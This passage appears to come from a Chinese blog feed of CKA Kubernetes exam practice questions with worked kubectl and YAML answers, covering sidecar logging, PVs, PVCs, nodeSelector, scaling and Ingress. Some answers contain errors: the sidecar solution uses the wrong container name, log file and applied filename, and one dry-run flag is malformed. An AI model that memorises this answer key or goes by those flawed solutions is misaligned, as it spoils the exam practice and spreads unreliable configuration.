        <content type="html"><![CDATA[<h5 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h5><p>设置配置环境：</p><p><code>kubectl config use-context k8s</code></p><h6 id="Context"><a href="#Context" class="headerlink" title="Context"></a>Context</h6><p>将一个现有的 Pod 集成到 Kubernetes 的内置日志记录体系结构中（例如 kubectl logs）。 添加 streaming sidecar 容器是实现此要求的一种好方法。</p><h6 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h6><p>使用 <code>busybox</code> Image来将名为 <code>sidecar</code> 的 sidecar 容器添加到现有的 Pod <code>11-factor-app</code> 中。 新的 sidecar 容器必须运行以下命令： <code>/bin/sh -c tail -n+1 -f /var/log/11-factor-app.log</code> 使用挂载在 <code>/var/log</code> 的 Volume，使日志文件 <code>11-factor-app.log</code> 可用于 sidecar 容器。 除了添加所需要的 volume mount 以外，请勿更改现有容器的规格。</p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p>概念 –&gt; 集群管理 –&gt; 日志架构<br><a href="https://kubernetes.io/zh-cn/docs/concepts/cluster-administration/logging/">https://kubernetes.io/zh-cn/docs/concepts/cluster-administration/logging/</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><blockquote><p>考试的时候务必记住切换集群, 注意集群名称 kubectl config use-context k8s</p></blockquote><p>导出pod文件并备份</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get pod 11-factor-app -o yaml &gt; varlog.yaml</span><br><span class="line"><span class="built_in">cp</span> varlog.yaml varlog-bak.yaml</span><br></pre></td></tr></table></figure><p>删除原pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl delete pod 11-factor-app</span><br><span class="line">kubectl get pod 11-factor-app</span><br></pre></td></tr></table></figure><p>编辑文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim varlog.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">varlog</span></span><br><span class="line">    <span class="attr">mountPath:</span> <span class="string">/var/log</span></span><br><span class="line"></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">count-log-2</span></span><br><span class="line">  <span class="attr">image:</span> <span class="string">busybox:1.28</span></span><br><span class="line">  <span class="attr">args:</span> [<span class="string">/bin/sh</span>, <span class="string">-c</span>, <span class="string">&#x27;tail -n+1 -F /var/log/2.log&#x27;</span>]</span><br><span class="line">  <span class="attr">volumeMounts:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">varlog</span></span><br><span class="line">    <span class="attr">mountPath:</span> <span class="string">/var/log</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#volumes:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">varlog</span></span><br><span class="line">  <span class="attr">emptyDir:</span> &#123;&#125;</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/cfbda44bcd19d2ac4f9ec11f124f3d6dcc7b7668e411dd92b5c4420f88ea774d.jpg" alt="sidecar-log-0">  </p><p>应用文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f 11-factor-app.yaml</span><br></pre></td></tr></table></figure><hr><h5 id="检查"><a href="#检查" class="headerlink" title="检查"></a>检查</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl logs 11-factor-app sidecar</span><br><span class="line">kubectl  <span class="built_in">exec</span> 11-factor-app -c sidecar -- <span class="built_in">tail</span> -f /var/log/11-factor-app.log</span><br><span class="line">kubectl  <span class="built_in">exec</span> 11-factor-app -c count-- <span class="built_in">tail</span> -f /var/log/11-factor-app.log</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/876f5bea94676cc3d6e4b020ecae16cfbb0860408cebe19a5ee53ee865ff8d7a.jpg" alt="sidecar-log-1"><br><img src="https://images.hao.kim/uploads/2024/11/76e41948e5c7505b977f172d9aa7a3b99ba46b84016ede7320530135d38b3868.jpg" alt="sidecar-log-2"><br><img src="https://images.hao.kim/uploads/2024/11/82a67638efbd6659645208d3475d3c1f77417e50a6732ec449dd66e7295ccc61.jpg" alt="sidecar-log-3">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> sidecar </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟题库 | 12. 查看Pod日志</title>
      <link href="/archives/kubernetes/CKA/pod-logs.html"/>
      <url>/archives/kubernetes/CKA/pod-logs.html</url>
      
        <content type="html"><![CDATA[<h5 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h5><p>设置配置环境：</p><p><code>kubectl config use-context k8s</code></p><h6 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h6><p>监控 pod <code>foo</code> 的日志并 ： 提取与错误 <code>RLIMIT_NOFILE</code> 相对应的日志行 将这些日志行写入 <code>/opt/KUTR00101/foo</code></p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p>kubectl log -h<br><a href="https://kubernetes.io/zh-cn/docs/tasks/debug/debug-application/debug-running-pod/#examine-pod-logs">https://kubernetes.io/zh-cn/docs/tasks/debug/debug-application/debug-running-pod/#examine-pod-logs</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><blockquote><p>考试的时候务必记住切换集群, 注意集群名称 kubectl config use-context k8s</p></blockquote><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl logs foo | grep -i <span class="string">&quot;RLIMIT_NOFILE&quot;</span> &gt; /opt/KUTR00101/foo</span><br></pre></td></tr></table></figure><hr><h5 id="检查"><a href="#检查" class="headerlink" title="检查"></a>检查</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> /opt/KUTR00101/foo</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/163c0fe91251876095c77e5f1b9db04efca3f4e988cc326b80106c42e08ca4c6.jpg" alt="pod-logs-0">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟题库 | 11. 创建PVC</title>
      <link href="/archives/kubernetes/CKA/create-pvc.html"/>
      <url>/archives/kubernetes/CKA/create-pvc.html</url>
      
        <content type="html"><![CDATA[<h5 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h5><p>设置配置环境：</p><p><code>kubectl config use-context ok8s</code></p><h6 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h6><p>创建一个新的 PersistentVolumeClaim ：</p><ul><li>名称: <code>pv-volume</code></li><li>Class: <code>csi-hostpath-sc</code></li><li>容量: <code>10Mi</code></li></ul><p>创建一个新的 Pod ，来将 PersistentVolumeClaim 作为 volume 进行挂载：</p><ul><li>名称：<code>web-server</code></li><li>Image：<code>nginx:1.16</code></li><li>挂载路径：<code>/usr/share/nginx/html</code></li><li>配置新的Pod，以对 volume 具有 <code>ReadWriteOnce</code> 权限。</li></ul><p>最后，使用 <code>kubectl edit</code> 或 <code>kubectl patch</code> 将 PersistentVolumeClaim 的容量扩展为 <code>70Mi</code> ，并记录此更改。</p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p>任务 –&gt; 配置 Pods 和容器 –&gt; 配置 Pod 以使用 PersistentVolume 作为存储<br><a href="https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-persistent-volume-storage/">https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-persistent-volume-storage/</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><blockquote><p>考试的时候务必记住切换集群, 注意集群名称 kubectl config use-context k8s</p></blockquote><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim pvc.yaml</span><br></pre></td></tr></table></figure><p>pvc.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">PersistentVolumeClaim</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">pv-volume</span>  <span class="comment">#pvc名字</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">storageClassName:</span> <span class="string">csi-hostpath-sc</span>  <span class="comment"># class名</span></span><br><span class="line">  <span class="attr">accessModes:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">ReadWriteOnce</span>  <span class="comment"># 注意，考试时的访问模式可能有ReadWriteMany和ReadOnlyMany和ReadWriteOnce，根据题目要求写。</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">    <span class="attr">requests:</span></span><br><span class="line">      <span class="attr">storage:</span> <span class="string">10Mi</span>  <span class="comment"># 大小</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f pvc.yaml</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim pvc-pod.yaml</span><br></pre></td></tr></table></figure><p>pvc-pod.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">web-server</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">volumes:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">task-pv-storage</span> <span class="comment"># 两处name需要一样</span></span><br><span class="line">      <span class="attr">persistentVolumeClaim:</span></span><br><span class="line">        <span class="attr">claimName:</span> <span class="string">pv-volume</span>  <span class="comment"># 这个要使用上面创建的pvc名字</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line">      <span class="attr">image:</span> <span class="string">nginx:1.16</span>  <span class="comment"># 使用指定镜像</span></span><br><span class="line">      <span class="attr">volumeMounts:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">mountPath:</span> <span class="string">&quot;/usr/share/nginx/html&quot;</span> <span class="comment"># 挂载容器内位置</span></span><br><span class="line">          <span class="attr">name:</span> <span class="string">task-pv-storage</span> <span class="comment"># 两处name需要一样</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f pvc-pod.yaml</span><br></pre></td></tr></table></figure><p>修改PVC配置</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl edit pvc pv-volume --record</span><br></pre></td></tr></table></figure><p>修改 大小 70Mi</p><p><img src="https://images.hao.kim/uploads/2024/11/8dd22b44ab5ea5cd4270dd7005c0eebe1a28bbc99b76c751d6cbc89344dd5dbb.jpg" alt="create-pvc-0">  </p><hr><h5 id="检查"><a href="#检查" class="headerlink" title="检查"></a>检查</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get pvc</span><br><span class="line">kubectl get pod web-server</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> pvc </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟题库 | 10. 创建PV</title>
      <link href="/archives/kubernetes/CKA/create-pv.html"/>
      <url>/archives/kubernetes/CKA/create-pv.html</url>
      
        <content type="html"><![CDATA[<h5 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h5><p>设置配置环境：</p><p><code>kubectl config use-context hk8s</code></p><h6 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h6><p>创建名为 <code>app-config</code> 的 persistent volume，容量为 <code>1Gi</code>，访问模式为 <code>ReadWriteMany。</code> volume 类型为 <code>hostPath</code> ，位于 <code>/srv/app-config</code></p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p>任务 –&gt; 配置 Pods 和容器 –&gt; 配置 Pod 以使用 PersistentVolume 作为存储<br><a href="https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-persistent-volume-storage/">https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-persistent-volume-storage/</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><blockquote><p>考试的时候务必记住切换集群, 注意集群名称 kubectl config use-context k8s</p></blockquote><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim pv.yaml</span><br></pre></td></tr></table></figure><p>pv.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">PersistentVolume</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">app-config</span></span><br><span class="line"> <span class="comment"># labels:</span></span><br><span class="line"> <span class="comment">#   type: local</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line"> <span class="comment"># storageClassName: manual</span></span><br><span class="line">  <span class="attr">capacity:</span></span><br><span class="line">    <span class="attr">storage:</span> <span class="string">1Gi</span></span><br><span class="line">  <span class="attr">accessModes:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">ReadWriteMany</span></span><br><span class="line">  <span class="attr">hostPath:</span></span><br><span class="line">    <span class="attr">path:</span> <span class="string">&quot;/srv/app-config&quot;</span></span><br></pre></td></tr></table></figure><p>应用文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f pv.yaml</span><br></pre></td></tr></table></figure><hr><h5 id="检查"><a href="#检查" class="headerlink" title="检查"></a>检查</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get pv</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/22a5a37113c4d943fa0fa09762ba8cce8bf022b1ede6cd814fc81c43bfcc7a18.jpg" alt="create-pv-0"></p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> pv </tag>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟题库 | 9. 创建多容器Pod</title>
      <link href="/archives/kubernetes/CKA/multi-container.html"/>
      <url>/archives/kubernetes/CKA/multi-container.html</url>
      
        <content type="html"><![CDATA[<h5 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h5><p>设置配置环境：</p><p><code>kubectl config use-context k8s</code></p><h6 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h6><p>按如下要求调度一个Pod：</p><ul><li>名称：<code>kucc8</code></li><li>app containers: <code>2</code></li><li>container 名称&#x2F;images：<ul><li><code>nginx</code></li><li><code>consul</code></li></ul></li></ul><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p>概念 –&gt; 工作负载 –&gt; Pod<br><a href="https://kubernetes.io/zh-cn/docs/concepts/workloads/pods/">https://kubernetes.io/zh-cn/docs/concepts/workloads/pods/</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><blockquote><p>考试的时候务必记住切换集群, 注意集群名称 kubectl config use-context k8s</p></blockquote><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim pod-kucc.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">kucc8</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">nginx</span></span><br><span class="line">    <span class="attr">imagePullPolicy:</span> <span class="string">IfNotPresent</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">consul</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">consul</span></span><br><span class="line">    <span class="attr">imagePullPolicy:</span> <span class="string">IfNotPresent</span></span><br></pre></td></tr></table></figure><p>应用文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f pod-kucc.yaml</span><br></pre></td></tr></table></figure><p>也可以通过 –dry-run 生成一个简单yaml文件,然后编辑</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl run kucc8 --image=nginx --dry-run client -oyaml &gt; pod-kucc.yaml</span><br><span class="line">vim pod-kucc.yaml</span><br></pre></td></tr></table></figure><hr><h5 id="检查"><a href="#检查" class="headerlink" title="检查"></a>检查</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get pod kucc8</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/787d198fa356fe7b6b940385ebc4e29f389c1758bc4b514c4d917f898102c85a.jpg" alt="multi-container-0"></p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟题库 | 8. 查看可用节点数量</title>
      <link href="/archives/kubernetes/CKA/get-node.html"/>
      <url>/archives/kubernetes/CKA/get-node.html</url>
      
        <content type="html"><![CDATA[<h5 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h5><p>设置配置环境：</p><p><code>kubectl config use-context k8s</code></p><h6 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h6><p>检查有多少 <code>nodes</code> 已准备就绪（不包括被打上 <code>Taint：NoSchedule</code> 的节点）， 并将数量写入 <code>/opt/KUSC00402/kusc00402.txt</code></p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p>概念 –&gt; 调度、抢占和驱逐 –&gt; 污点和容忍度<br><a href="https://kubernetes.io/zh-cn/docs/concepts/scheduling-eviction/taint-and-toleration/">https://kubernetes.io/zh-cn/docs/concepts/scheduling-eviction/taint-and-toleration/</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><blockquote><p>考试的时候务必记住切换集群, 注意集群名称 kubectl config use-context k8s</p></blockquote><p>ready 的数量 减去 noschedule 的数量为可用节点数</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get nodes</span><br><span class="line">kubectl describe nodes | grep -i taints</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;结果&quot;</span> &gt; /opt/KUSC00402/kusc00402.txt</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/9ce040d80973f9073f25438644e8727e9b0b04f8acb615d7c384823533f4f496.jpg" alt="get-node-0"></p><hr><h5 id="检查"><a href="#检查" class="headerlink" title="检查"></a>检查</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> /opt/KUSC00402/kusc00402.txt</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟题库 | 7. 调度 pod 到指定节点</title>
      <link href="/archives/kubernetes/CKA/node-schedule-1.html"/>
      <url>/archives/kubernetes/CKA/node-schedule-1.html</url>
      
        <content type="html"><![CDATA[<h5 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h5><p>设置配置环境：</p><p><code>kubectl config use-context k8s</code></p><h6 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h6><p>按如下要求调度一个 pod：<br>  名称：<code>nginx-kusc00401</code><br>  Image：<code>nginx</code><br>  Node selector：<code>disk=ssd</code></p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p>任务 –&gt;  配置 Pods 和容器 –&gt; 将pod分配给节点<br><a href="https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/assign-pods-nodes/">https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/assign-pods-nodes/</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><blockquote><p>考试的时候务必记住切换集群, 注意集群名称 kubectl config use-context k8s</p></blockquote><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 检查pod是否存在</span></span><br><span class="line">kubectl get pod -A | grep nginx-kusc00401</span><br><span class="line"></span><br><span class="line"><span class="comment"># 检查node标签是否存在 disk=ssd</span></span><br><span class="line">kubectl get nodes --show-labels | grep <span class="string">&#x27;disk=ssd&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果没有ssd标签则手动设置一个</span></span><br><span class="line"><span class="comment">#kubectl label nodes node01 disk=ssd</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/e328d2faee15212e7e8eeef83e1844e5a54ef73a78b2da3a42fe0e62b85ad8cb.jpg" alt="node-selector-0"></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 创建文件</span></span><br><span class="line">vim  pod-disk-ssd.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">nginx-kusc00401</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">nginx</span></span><br><span class="line">    <span class="attr">imagePullPolicy:</span> <span class="string">IfNotPresent</span></span><br><span class="line">  <span class="attr">nodeSelector:</span></span><br><span class="line">    <span class="attr">disk:</span> <span class="string">ssd</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f pod-disk-ssd.yaml</span><br></pre></td></tr></table></figure><hr><h5 id="检查"><a href="#检查" class="headerlink" title="检查"></a>检查</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get pod nginx-kusc00401 -o wide</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/3d1b2a2ad610ceec53c1e781ffbf7936a3b66dbd82be24cc3242bd9e3ec160e3.jpg" alt="node-selector-1"></p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> node-selector </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟题库 | 6. 扩容 deployment 副本数量</title>
      <link href="/archives/kubernetes/CKA/deployment-scale.html"/>
      <url>/archives/kubernetes/CKA/deployment-scale.html</url>
      
        <content type="html"><![CDATA[<h5 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h5><p>设置配置环境：</p><p><code>kubectl config use-context k8s</code></p><h6 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h6><p>将 deployment <code>presentation</code> 扩展至 <code>4</code> 个 pods</p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p>kubectl scale deployment -h<br><a href="https://kubernetes.io/zh-cn/docs/tasks/run-application/scale-stateful-set/">https://kubernetes.io/zh-cn/docs/tasks/run-application/scale-stateful-set/</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><blockquote><p>考试的时候务必记住切换集群, 注意集群名称 kubectl config use-context k8s</p></blockquote><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment">#检查pod数量和运行情况</span></span><br><span class="line">kubectl get deployments presentation -o wide</span><br><span class="line">kubectl get pod -l app=presentation</span><br><span class="line"></span><br><span class="line"><span class="comment">#扩展数量</span></span><br><span class="line">kubectl scale deployment presentation  --replicas=4</span><br></pre></td></tr></table></figure><hr><h5 id="检查"><a href="#检查" class="headerlink" title="检查"></a>检查</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get deployments presentation -o wide</span><br><span class="line">kubectl get pod -l app=presentation</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> scale </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟题库 | 5. 创建 Ingress</title>
      <link href="/archives/kubernetes/CKA/ingress.html"/>
      <url>/archives/kubernetes/CKA/ingress.html</url>
      
        <content type="html"><![CDATA[<h5 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h5><p>设置配置环境：</p><p><code>kubectl config use-context k8s</code></p><h6 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h6><p>如下创建一个新的nginx Ingress 资源：<br>  名称: <code>ping</code><br>  Namespace: <code>ing-internal</code><br>  使用服务端口 <code>5678</code><br>  在路径 <code>/hello</code> 上公开服务 <code>hello</code> 可以使用以下命令检查服务 <code>hello</code> 的可用性，该命令应返回 hello：<br>  <code>curl -kL INTERNAL_IP/hello</code></p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p>概念 –&gt; 服务、负载均衡和联网 –&gt; Ingress<br><a href="https://kubernetes.io/zh-cn/docs/concepts/services-networking/ingress/#the-ingress-resource">https://kubernetes.io/zh-cn/docs/concepts/services-networking/ingress/#the-ingress-resource</a><br><a href="https://kubernetes.io/zh-cn/docs/concepts/services-networking/ingress/#default-ingress-class">https://kubernetes.io/zh-cn/docs/concepts/services-networking/ingress/#default-ingress-class</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><h6 id="方法1-推荐"><a href="#方法1-推荐" class="headerlink" title="方法1 (推荐)"></a>方法1 (推荐)</h6><blockquote><p>考试的时候务必记住切换集群, 注意集群名称 kubectl config use-context k8s</p></blockquote><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim ingress.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">networking.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">IngressClass</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app.kubernetes.io/component:</span> <span class="string">controller</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">nginx-example</span> <span class="comment">#考试时没有ingressClassName手动创建一个</span></span><br><span class="line">  <span class="attr">annotations:</span></span><br><span class="line">    <span class="attr">ingressclass.kubernetes.io/is-default-class:</span> <span class="string">&quot;true&quot;</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">controller:</span> <span class="string">k8s.io/ingress-nginx</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">networking.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Ingress</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ping</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">ing-internal</span></span><br><span class="line">  <span class="attr">annotations:</span></span><br><span class="line">    <span class="attr">nginx.ingress.kubernetes.io/rewrite-target:</span> <span class="string">/</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">ingressClassName:</span> <span class="string">nginx-example</span></span><br><span class="line">  <span class="attr">rules:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">http:</span></span><br><span class="line">      <span class="attr">paths:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">path:</span> <span class="string">/hello</span></span><br><span class="line">        <span class="attr">pathType:</span> <span class="string">Prefix</span></span><br><span class="line">        <span class="attr">backend:</span></span><br><span class="line">          <span class="attr">service:</span></span><br><span class="line">            <span class="attr">name:</span> <span class="string">hello</span></span><br><span class="line">            <span class="attr">port:</span></span><br><span class="line">              <span class="attr">number:</span> <span class="number">5678</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f ingress.yaml</span><br></pre></td></tr></table></figure><hr><h6 id="方法2-暂不推荐-考试时有问题"><a href="#方法2-暂不推荐-考试时有问题" class="headerlink" title="方法2 